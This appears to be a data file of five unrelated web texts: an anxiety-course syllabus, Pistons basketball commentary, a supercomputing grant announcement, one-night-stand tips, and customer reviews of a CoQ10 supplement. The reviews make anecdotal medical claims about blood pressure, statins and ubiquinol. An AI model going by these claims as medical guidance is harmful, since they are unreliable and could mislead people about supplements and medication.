Tell Me What You Want to Hear
Meet Celeste & Hear Her Stress Story
BONUS! Plus a new feature... (4:42)
Thoughts of Harming Self or Others?
September Content - Panic Attacks
SURPRISE for KELLIE! (2:28)
November Content - Chronic Stress and Anxiety
Nov 2016: Fight or Flight Explained (8:59)
Nov 2016: Election Day Anxiety
Nov 2016: How I spent $6 to Smash Anxiety and Change my Outlook
Nov 2016: Christmas, Assertiveness, & Stress
Nov 2016: Chronic Anxiety & the 20 Mile March (6:53)
Using Your Phone for Calm
Nov 2016: Case Study - Samantha Johnston (27:46)
December Content - Medications and Mental Health Interventions
Week 1: SSRIs (antidepressants) for Anxiety (5:03)
Week 2: Exactly Opposite of What Your Friends Would Advise
Week 3: Resource (Medication Interview with Dr. Pickett) (17:10)
Week 4: Mallory's Medication Story
January Content - Trauma, PTSD and Anxiety
The Feelings Wheel
Stress from Trauma - Guest Post by Marg Ryan
Trauma and Medication: Interview with Dr. Meredith Pickett (19:59)
Gradual Exposure Chart/Worksheet (6:00)
Week 5: BONUS Live Call
Past Content Library
Jun 2016: Are Terrorism, Violence & Politics Stressing You?
Jun 2016: A Snub By The Coffee Guy Taught Me About Stress
Jun 2016: Symptoms of Anxiety & Panic Attacks, Plus the Ways We Downplay Both (26:42)
Jul 2016: Worried Moms Pre-recorded Video/Audio (12:01)
Jul 2016 - Medication Free Ways to Manage Anxiety
Jul 2016: Relaxation Video
August 2016: Symptoms and Stereotypes of OCD
Aug 2016 Stressful Life Events Inventory
Aug 2016: Drink Aware & CAGE Questions (4:06)
Aug 2016: Live Web Call Q&A (29:49)
Sept 2016: What is a panic attack? (17:02)
Sept 2016: Dissolving Worried Thoughts
BONUS! "The Guest House"
Sept 2106: The 16 Things You Need to Survive a Panic Attack
Sept 2016: A Case Study - Adam Weitz of Sad Runner (24:34)
BONUS! Welcoming Anxiety As A Guest Podcast
Oct 2016: 3 Quizzes to Determine Your Anxiety Areas
Oct 2016: Shyness or Social Anxiety? (10:30)
Oct 2016: Podcast Recommendation
Oct 2016: Social Anxiety YouTube Slam Poem
)ct 2016: BONUS Live Q&A Call (29:44)
Oct 2016: Strategy - Accepting Your Discomfort
How to Cancel Your QMC Subscription
Sept 2016: A Case Study - Adam Weitz of Sad Runner
Lecture contents locked
Enroll in Course to Unlock
If you're already enrolled,
you'll need to login


text: This team is at a crisis point (and the win over Phoenix--as I pointed out in that post--did not give much confidence). The season is teetering...and has been for a few weeks now. Every team seems to be better prepared than the Pistons. Most teams are improving. The Pistons are not improving. Andre's play has flattened out for the time being. He needs to develop "on the ball" defense as many, after Howard, are taking him inside. Monroe's play is flat--he continues to get blocked at the rim far too much. Monroe's play is not producing enough wins... Jennings appears to play more at the level of a first guard off the bench player and a part time shooting guard which means the point guard position is still unsettled. Play well or not, Jennings has not been able to lead the Pistons to a better record. Stuckey played well and has had a good season when healthy but Stuckey's good season has not prevented the Pistons from being 7 games under .500. The coaching has not been able to overcome roster flaws and there seems to be no relief in sight. You just don't get the feeling that this team can win 8 out of ten or 15 out of 20 and make this a season. The Pistons have assets: Monroe, Stuckey, CV contract, etc. and the question is when, not so much if, these will be put in motion.


text:
Arctic Region Researchers Awarded $350,000
FAIRBANKS, Alaska. -- The Arctic Region Supercomputing Center (ARSC) announces the receipt of $350,000 from the Cray University Research & Development Grant Program sponsored by supercomputer manufacturer Cray Research. These competitive grants to scientists affiliated with ARSC, located at the University of Alaska Fairbanks ( UAF ), will sponsor research ranging from petroleum reservoir simulation to medical imaging.
Cray Research grants encourage research and development in computational science and engineering, and the development of software for supercomputer systems thereby providing programming solutions to real-world problems for Cray systems. The University Research & Development Grant Program also serves to complement the internal research efforts of Cray Research in selected areas of hardware and software development.
Seven of the 10 awards granted to ARSC are to researchers at the University of Alaska. Awards ranged from $14,000 to $50,000. These research projects use the high performance computing hardware located at ARSC - the CRAY Y-MP supercomputer and a 128-processor CRAY T3D system that are among the fastest computers in the world.
In operation since 1992, the mission of ARSC continues to support computational research, science, and engineering - with emphasis on the high latitudes and the Arctic. ARSC provides scalar-vector and massively parallel processing (MPP) talent and related resources - high-performance computing, networking facilities, training, and technical support - to federal and state agencies, the academic community, and commercial affiliates.


text:
Tips For One-Night Stands
Beware! The No. 1 luxury of one-night stands centers around attachment. With committed sex, you are furthering love (or whatever you think love is). With one-night stands, however, interactions are merely physical. Take our tips for one-night stands and run.
Go to her placeWomen tend to keep their quarters a little nicer than men, which is especially convenient when plans are made on the fly. You might not have expected to take anyone home, so your dirty gym socks and unwashed sheets can make your place seem like a war zone to her. Don't ruin the mood with these unnecessary outside forces. Besides, there is nothing like a woman's bed.
Also, heading to her place gives you room to flee if things start to head south chemistry-wise. A teary confession or an accidental slip of her ex-boyfriend's name ruins the mood quickly. Hell, she could even turn out to be a psycho. No matter what dampens the flame, an exit plan should always be in the back of your mind in case you have to abandon ship. Leaving is always easier than getting her to leave.
Be safeMystery fuels the fire of a one-night stand. She doesn't know you. Everything is physical — no prior knowledge required and no strings attached. Well, except for one, potentially.
Do you really need a reason to be safe? With some areas experiencing increases in diseases like HIV and syphilis, today's one-night stands have added risks, and you don't want to be bringing home any unwanted souvenirs.
We all know a guy who has made the occasional mistake with a woman and drilled without any hardware. No matter what she says, unprotected sex can yield fatal results for you, or for her, in the event one of you is carrying a disease that you don't know about. Don't ruin a perfectly good night. Be safe and get tested regularly, especially if you're in the habit of having sex with strangers.
Besides, pickup artist extraordinaire and author of The Game Neil Strauss recommends keeping a condom in your back pocket each night out — if not for protection, he advises, then for a physical reminder that you might actual get some.
More tips for one-night stands after the turn...


text:
Doctor's Best, High Absorption CoQ10, 100 mg
Verified Purchase
Doctor's Best, High Absorption CoQ10, 100 mg
Many people use coenzyme Q-10 for treating heart and blood vessel conditions, chest pain (angina), high blood pressure, and heart problems . It is also used for diabetes and gum disease. Coenzyme Q-10 helps me to increase energy. This is because coenzyme Q-10 has a role in producing ATP. When I take this product, I just feel better. Highly recommend this product. Thanks for the great service iHerb! :)
Was this review helpful to you?
Doctor's Best, High Absorption CoQ10, 100 mg
Posted by Springtime on May 02, 2013 | Verified Purchase
Many people use coenzyme Q-10 for treating heart and blood vessel conditions, chest pain (angina), high blood pressure, and heart problems . It is also used for diabetes and gum disease. Coenzyme Q-10 helps me to increase energy. This is because coenzyme Q-10 has a role in producing ATP. When I take this product, I just feel better. Highly recommend this product. Thanks for the great service iHerb! :)
Noticeable improvement in high blood pressure
Posted by MarieCurie on Feb 20, 2015 | Verified Purchase
My blood pressure readings were consistently in the pre-hypertensive range. Hypertension and heart disease run in my family, and I also take a medication which raises my blood pressure. I did some research -- I'm a PhD student and pulled up clinical trials on PubMed instead of rely on advice from some bro with a potbelly who works at GNC. There are several legit studies of the use of CoQ10 supplementation for the treatment of hypertension. According to one review, CoQ10 reduced systylic blood pressure up to 17.8 mmHg, and diastolic up to 10 mmHg. After a month of taking 100 mg of CoQ10 and fish oil, I was noticing my blood pressure readings (I own a blood pressure reader) were consistently in the normal range. Even while my stimulants were working and in the midst of finals week. I will definitely continue taking this supplement, and this brand is a great price. Source: Rasmussen, C. B., Glisson, J. K., & Minor, D. S. (2012). Dietary supplements and hypertension: potential benefits and precautions. The Journal of Clinical Hypertension. / Check my page for more Reviews. /Click YES if I was helpful.
This is an excellent product to boost your energy level
Posted by Reviewer1487212 on Apr 23, 2013 | Verified Purchase
Highly dosed with BioPerine for better absorption. It sure works for me. I am a cancer patient and this is one of the many supplements I take in order to keep my energy levels high. Probably it is the combination of all products that work for me but I am sure this one forms an important part of the success. I had 43 chemo's including a stem cell transplantation (April 2011) and I am very thankful for feeling the way I do.
On Statins - you need COQ10 -
Posted by mil694 on Apr 12, 2013 | Verified Purchase
If you are on Statins you should be taking COQ10 to prevent the Statins depleting your body and you can experience muscle and joint aches. I didn't take any for quite a while because I had misplaced them and wondered why I was feeling OLD and slowing up Then, when cleaning out my drawer there they were so I took 2 - 100 mg and wow - within a short time was out mowing the lawn and trimming the edges. I am 65 - and still play badminton and go to yoga and also walk. . These are a Great product and a fantastic price. I have used for many years now and they are a wonderful company with an amazing range of more than 35,000 natural products. Purchase with confidence.
Great to add for oil pulling
Posted by JadeD-AB on Jul 01, 2013 | Verified Purchase
Many reviews here mentioned that CoQ10 was excellent for oral health and since it is oil soluble so I tried opening the capsule and dissolving it in coconut oil for oil pulling. My sensitive teeth felt much better right away. If I have to buy in Thailand regular price I wouldn't experiment it for anything. Thanks for Iherb, my mom also responded very positive to this Dr.Best CoQ10 that she saved her last capsule to ask many local phamas for this supplements... :) :D She didn't catch what it's called. It's difficult for her to memorize English name when she didn't pay attention. I think she will know its name from now on. I saw with my own eyes how she was much more energetic than before in her 70s and confirmed with her own words. She only take one capsule a day!! I'm getting a softgel form for her to try in a few days.
our standard
Posted by Reviewer2203336 on Apr 09, 2013 | Verified Purchase
Dr. said to take CoQ10 with Lipitor... and this seems to be a cheap and effective product. We take it regularly. With CoQ10, color seems to indicate quality... and this is usually a pretty deep orange.
Have HEALTH ALEART FOR CUSTOMERS OVER 25: Don't waste your money on this product. Buy the best value for money and best selling fully reduced ubiquinol (Product Number: HOG-36467 or HOG-36469) instead
Posted by My-Review-Page on Oct 09, 2013 | Verified Purchase
Some reviewers' very informative reviews prompted me to conduct my own Internet search on ubiquinone vs. ubiquinol. I did find the same comment made by Dr Mercola ("If you're over 25, you should use the reduced ubiquinol formula to help you absorb the CoQ10 you need."). The following statements are from Wikipedia: Coenzyme Q10 (CoQ10) exists in three redox states, fully oxidized (ubiquinone), partially reduced (semiquinone or ubisemiquinone), and fully reduced (ubiquinol). The antioxidant action of ubiquinol is now considered to be one of the most important functions in cellular systems. Ubiquinol is the antioxidant form of CoQ10 and is essential for mitochondrial synthesis of energy. It is the only known lipid-soluble antioxidant that is endogenously synthesized, protecting biological membranes against lipid peroxidation as well as regenerating other antioxidants such as Vitamin C and Vitamin E. Published clinical and experimental research shows that ubiquinol affects cardiovascular health, neuronal metabolism, renal health, and genes related to lipid/lipoprotein metabolism and inflammation. Since the ubiquinol form has two additional hydrogens, it results in the conversion of two ketone groups into hydroxyl groups on the active portion of the molecule. This causes an increase in the polarity of the CoQ10 molecule and may be a significant factor behind the observed enhanced bioavailability of ubiquinol. Orally, ubiquinol exhibits greater bioavailability than ubiquinone: 150 mg per day of ubiquinol in a softgel resulted in peak blood values of 3.84 mcg/ml within 28 days.
5 stars!
Posted by Reviewer1676460 on Oct 04, 2012 | Verified Purchase
I've been taking Doctor's Best High Absorption CoQ10 for about a month. I can say that it gives me more vital energy. As well as my complexion looks brighter and more youthful. Я принимаю Doctor's Best High Absorption CoQ10 около месяца. Могу сказать, что действительно чувствую прилив жизненной энергии. Плюс, мой цвет лица стал заметно лучше, моложе.
CoQ10 with side effect
Posted by 5087148742371355707 on Sep 10, 2012 | Verified Purchase
I took about one month and finally decide to quit. It gave me stomach pain and soft diarrhea. My stomach pain didn't go a way until I quit. Not for me.
Posted by Reviewer1427888 on Apr 27, 2013 | Verified Purchase
it works